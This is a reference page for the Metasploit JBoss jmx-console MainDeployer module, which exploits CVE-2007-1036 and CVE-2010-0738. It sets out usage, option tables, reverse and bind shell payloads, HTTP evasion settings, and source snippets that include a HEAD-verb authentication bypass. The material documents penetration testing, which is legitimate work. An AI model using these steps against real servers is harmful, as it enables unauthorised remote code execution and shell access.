JBoss JMX Console Deployer Upload and Execute - Metasploit


This page contains detailed information about how to use the exploit/multi/http/jboss_maindeployer metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: JBoss JMX Console Deployer Upload and Execute
Module: exploit/multi/http/jboss_maindeployer
Source code: modules/exploits/multi/http/jboss_maindeployer.rb
Disclosure date: 2007-02-20
Last modification time: 2022-03-10 10:28:25 +0000
Supported architecture(s): -
Supported platform(s): Java, Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2007-1036, CVE-2010-0738

This module can be used to execute a payload on JBoss servers that have an exposed "jmx-console" application. The payload is put on the server by using the jboss.system:MainDeployer functionality. To accomplish this, a temporary HTTP server is created to serve a WAR archive containing our payload. This method will only work if the target server allows outbound connections to us.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/http/jboss_maindeployer
msf exploit(jboss_maindeployer) > exploit

Required Options


  • SRVHOST: The local host to listen on. This must be an address on the local machine

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the multi/http/jboss_maindeployer exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/jboss_maindeployer

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/jboss_maindeployer) > show info

       Name: JBoss JMX Console Deployer Upload and Execute
     Module: exploit/multi/http/jboss_maindeployer
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-02-20

Provided by:
  jduck <[email protected]>
  Patrick Hof
  h0ng10

Available targets:
  Id  Name
  --  ----
  0   Automatic (Java based)
  1   Windows Universal
  2   Linux Universal
  3   Java Universal

Check supported:
  No

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  APPBASE                        no        Application base name, (default: random)
  HttpPassword                   no        The password for the specified username
  HttpUsername                   no        The username to authenticate as
  JSP                            no        JSP name to use without .jsp extension (default: random)
  PATH          /jmx-console     yes       The URI path of the console
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         8080             yes       The target port (TCP)
  SRVHOST                        yes       The local host to listen on. This must be an address on the local machine
  SRVPORT       8080             yes       The local port to listen on.
  SSL           false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                        no        The URI to use for this exploit (default is random)
  VERB          GET              yes       HTTP Method to use (for CVE-2010-0738) (Accepted: GET, POST, HEAD)
  VHOST                          no        HTTP server virtual host
  WARHOST                        no        The host to request the WAR payload from

Payload information:

Description:
  This module can be used to execute a payload on JBoss servers that 
  have an exposed "jmx-console" application. The payload is put on the 
  server by using the jboss.system:MainDeployer functionality. To 
  accomplish this, a temporary HTTP server is created to serve a WAR 
  archive containing our payload. This method will only work if the 
  target server allows outbound connections to us.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-1036
  https://nvd.nist.gov/vuln/detail/CVE-2010-0738
  OSVDB (33744)
  http://www.redteam-pentesting.de/publications/jboss
  https://bugzilla.redhat.com/show_bug.cgi?id=574105

Module Options


This is a complete list of options available in the multi/http/jboss_maindeployer exploit:

msf6 exploit(multi/http/jboss_maindeployer) > show options

Module options (exploit/multi/http/jboss_maindeployer):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   APPBASE                        no        Application base name, (default: random)
   HttpPassword                   no        The password for the specified username
   HttpUsername                   no        The username to authenticate as
   JSP                            no        JSP name to use without .jsp extension (default: random)
   PATH          /jmx-console     yes       The URI path of the console
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         8080             yes       The target port (TCP)
   SRVHOST                        yes       The local host to listen on. This must be an address on the local machine
   SRVPORT       8080             yes       The local port to listen on.
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        The URI to use for this exploit (default is random)
   VERB          GET              yes       HTTP Method to use (for CVE-2010-0738) (Accepted: GET, POST, HEAD)
   VHOST                          no        HTTP server virtual host
   WARHOST                        no        The host to request the WAR payload from

Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic (Java based)

Advanced Options


Here is a complete list of advanced options supported by the multi/http/jboss_maindeployer exploit:

msf6 exploit(multi/http/jboss_maindeployer) > show advanced

Module advanced options (exploit/multi/http/jboss_maindeployer):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   ListenerComm                                                                no        The specific communication channel to use for this service
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (java/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AESPassword                                   no        Password for encrypting communication
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   JavaMeterpreterDebug         false            no        Run the payload in debug mode, with logging enabled
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   Spawn                        2                yes       Number of subprocesses to spawn
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/jboss_maindeployer module can exploit:

msf6 exploit(multi/http/jboss_maindeployer) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic (Java based)
   1   Windows Universal
   2   Linux Universal
   3   Java Universal

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/jboss_maindeployer exploit:

msf6 exploit(multi/http/jboss_maindeployer) > show payloads

Compatible Payloads
===================

   #   Name                                     Disclosure Date  Rank    Check  Description
   -   ----                                     ---------------  ----    -----  -----------
   0   payload/generic/custom                                    normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/java/jsp_shell_bind_tcp                           normal  No     Java JSP Command Shell, Bind TCP Inline
   4   payload/java/jsp_shell_reverse_tcp                        normal  No     Java JSP Command Shell, Reverse TCP Inline
   5   payload/java/meterpreter/bind_tcp                         normal  No     Java Meterpreter, Java Bind TCP Stager
   6   payload/java/meterpreter/reverse_http                     normal  No     Java Meterpreter, Java Reverse HTTP Stager
   7   payload/java/meterpreter/reverse_https                    normal  No     Java Meterpreter, Java Reverse HTTPS Stager
   8   payload/java/meterpreter/reverse_tcp                      normal  No     Java Meterpreter, Java Reverse TCP Stager
   9   payload/java/shell/bind_tcp                               normal  No     Command Shell, Java Bind TCP Stager
   10  payload/java/shell/reverse_tcp                            normal  No     Command Shell, Java Reverse TCP Stager
   11  payload/java/shell_reverse_tcp                            normal  No     Java Command Shell, Reverse TCP Inline
   12  payload/multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   13  payload/multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/jboss_maindeployer exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/jboss_maindeployer) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to detect platform!


Here is a relevant code snippet related to the "Unable to detect platform!" error message:

99:	      print_status("Sorry, automatic target detection doesn't work with HEAD requests")
100:	    else
101:	      print_status("Attempting to automatically select a target...")
102:	      res = query_serverinfo
103:	      if not (plat = detect_platform(res))
104:	        fail_with(Failure::NoTarget, 'Unable to detect platform!')
105:	      end
106:	
107:	      if not (arch = detect_architecture(res))
108:	        fail_with(Failure::NoTarget, 'Unable to detect architecture!')
109:	      end

Unable to detect architecture!


Here is a relevant code snippet related to the "Unable to detect architecture!" error message:

103:	      if not (plat = detect_platform(res))
104:	        fail_with(Failure::NoTarget, 'Unable to detect platform!')
105:	      end
106:	
107:	      if not (arch = detect_architecture(res))
108:	        fail_with(Failure::NoTarget, 'Unable to detect architecture!')
109:	      end
110:	
111:	      # see if we have a match
112:	      targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
113:	    end

Unable to automatically select a target


Here is a relevant code snippet related to the "Unable to automatically select a target" error message:

124:	
125:	    mytarget = target
126:	    if (target.name =~ /Automatic/)
127:	      mytarget = auto_target()
128:	      if (not mytarget)
129:	        fail_with(Failure::NoTarget, "Unable to automatically select a target")
130:	      end
131:	      print_status("Automatically selected target \"#{mytarget.name}\"")
132:	    else
133:	      print_status("Using manually select target \"#{mytarget.name}\"")
134:	    end

Unable to deploy WAR archive [No Response]


Here is a relevant code snippet related to the "Unable to deploy WAR archive [No Response]" error message:

192:	              'arg0'        => service_url
193:	            }
194:	        }, 30)
195:	    end
196:	    if (! res)
197:	      fail_with(Failure::Unknown, "Unable to deploy WAR archive [No Response]")
198:	    end
199:	    if (res.code < 200 or res.code >= 300)
200:	      case res.code
201:	      when 401
202:	        print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")

Warning: The web site asked for authentication: <VALUE>


Here is a relevant code snippet related to the "Warning: The web site asked for authentication: <VALUE>" error message:

197:	      fail_with(Failure::Unknown, "Unable to deploy WAR archive [No Response]")
198:	    end
199:	    if (res.code < 200 or res.code >= 300)
200:	      case res.code
201:	      when 401
202:	        print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
203:	      end
204:	      fail_with(Failure::Unknown, "Upload to deploy WAR archive [#{res.code} #{res.message}]")
205:	    end
206:	
207:	    # wait for the data to be sent

Upload to deploy WAR archive [<RES.CODE> <RES.MESSAGE>]


Here is a relevant code snippet related to the "Upload to deploy WAR archive [<RES.CODE> <RES.MESSAGE>]" error message:

199:	    if (res.code < 200 or res.code >= 300)
200:	      case res.code
201:	      when 401
202:	        print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
203:	      end
204:	      fail_with(Failure::Unknown, "Upload to deploy WAR archive [#{res.code} #{res.message}]")
205:	    end
206:	
207:	    # wait for the data to be sent
208:	    print_status("Waiting for the server to request the WAR archive....")
209:	    waited = 0

Server did not request WAR archive -- Maybe it cant connect back to us?


Here is a relevant code snippet related to the "Server did not request WAR archive -- Maybe it cant connect back to us?" error message:

209:	    waited = 0
210:	    while (not @war_sent)
211:	      select(nil, nil, nil, 1)
212:	      waited += 1
213:	      if (waited > 30)
214:	        fail_with(Failure::Unknown, 'Server did not request WAR archive -- Maybe it cant connect back to us?')
215:	      end
216:	    end
217:	
218:	    print_status("Shutting down the web service...")
219:	    stop_service

WARNING: Undeployment failed on <APP_BASE> [No Response]


Here is a relevant code snippet related to the "WARNING: Undeployment failed on <APP_BASE> [No Response]" error message:

277:	          'argType'     => 'java.lang.String',
278:	          'arg0'        => app_base
279:	        }
280:	    }, 30)
281:	    if (! res)
282:	      print_warning("WARNING: Undeployment failed on #{app_base} [No Response]")
283:	    elsif (res.code == 500 and datastore['VERB'] == 'POST')
284:	      # POST requests result in a http 500 error, but the payload is removed..."
285:	      print_warning("WARNING: Undeployment might have failed (unlikely)")
286:	    elsif (res.code < 200 or res.code >= 300)
287:	      print_warning("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]")

WARNING: Undeployment might have failed (unlikely)


Here is a relevant code snippet related to the "WARNING: Undeployment might have failed (unlikely)" error message:

280:	    }, 30)
281:	    if (! res)
282:	      print_warning("WARNING: Undeployment failed on #{app_base} [No Response]")
283:	    elsif (res.code == 500 and datastore['VERB'] == 'POST')
284:	      # POST requests result in a http 500 error, but the payload is removed..."
285:	      print_warning("WARNING: Undeployment might have failed (unlikely)")
286:	    elsif (res.code < 200 or res.code >= 300)
287:	      print_warning("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]")
288:	    end
289:	
290:	    handler

WARNING: Undeployment failed on <APP_BASE> [<RES.CODE> <RES.MESSAGE>]


Here is a relevant code snippet related to the "WARNING: Undeployment failed on <APP_BASE> [<RES.CODE> <RES.MESSAGE>]" error message:

282:	      print_warning("WARNING: Undeployment failed on #{app_base} [No Response]")
283:	    elsif (res.code == 500 and datastore['VERB'] == 'POST')
284:	      # POST requests result in a http 500 error, but the payload is removed..."
285:	      print_warning("WARNING: Undeployment might have failed (unlikely)")
286:	    elsif (res.code < 200 or res.code >= 300)
287:	      print_warning("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]")
288:	    end
289:	
290:	    handler
291:	  end
292:	

A request came in, but the WAR archive wasn't ready yet!


Here is a relevant code snippet related to the "A request came in, but the WAR archive wasn't ready yet!" error message:

294:	  # Handle incoming requests from the server
295:	  def on_request_uri(cli, request)
296:	
297:	    #print_status("on_request_uri called: #{request.inspect}")
298:	    if (not @war_data)
299:	      print_error("A request came in, but the WAR archive wasn't ready yet!")
300:	      return
301:	    end
302:	
303:	    print_status("Sending the WAR archive to the server...")
304:	    send_response(cli, @war_data)

Unable to bypass authentication. Try changing the verb to HEAD to exploit CVE-2010-0738.


Here is a relevant code snippet related to the "Unable to bypass authentication. Try changing the verb to HEAD to exploit CVE-2010-0738." error message:

312:	      {
313:	        'uri'    => path
314:	      }, 20)
315:	
316:	    if (res) && (res.code == 401)
317:	      fail_with(Failure::NoAccess,"Unable to bypass authentication.  Try changing the verb to HEAD to exploit CVE-2010-0738.")
318:	    end
319:	
320:	    if (not res) or (res.code != 200)
321:	      fail_with(Failure::Unknown,"Failed: Error requesting #{path}")
322:	    end

Failed: Error requesting <PATH>


Here is a relevant code snippet related to the "Failed: Error requesting <PATH>" error message:

316:	    if (res) && (res.code == 401)
317:	      fail_with(Failure::NoAccess,"Unable to bypass authentication.  Try changing the verb to HEAD to exploit CVE-2010-0738.")
318:	    end
319:	
320:	    if (not res) or (res.code != 200)
321:	      fail_with(Failure::Unknown,"Failed: Error requesting #{path}")
322:	    end
323:	
324:	    res
325:	  end
326:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • jduck
  • Patrick Hof
  • h0ng10

Version


This page has been produced using Metasploit Framework version 6.2.9-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.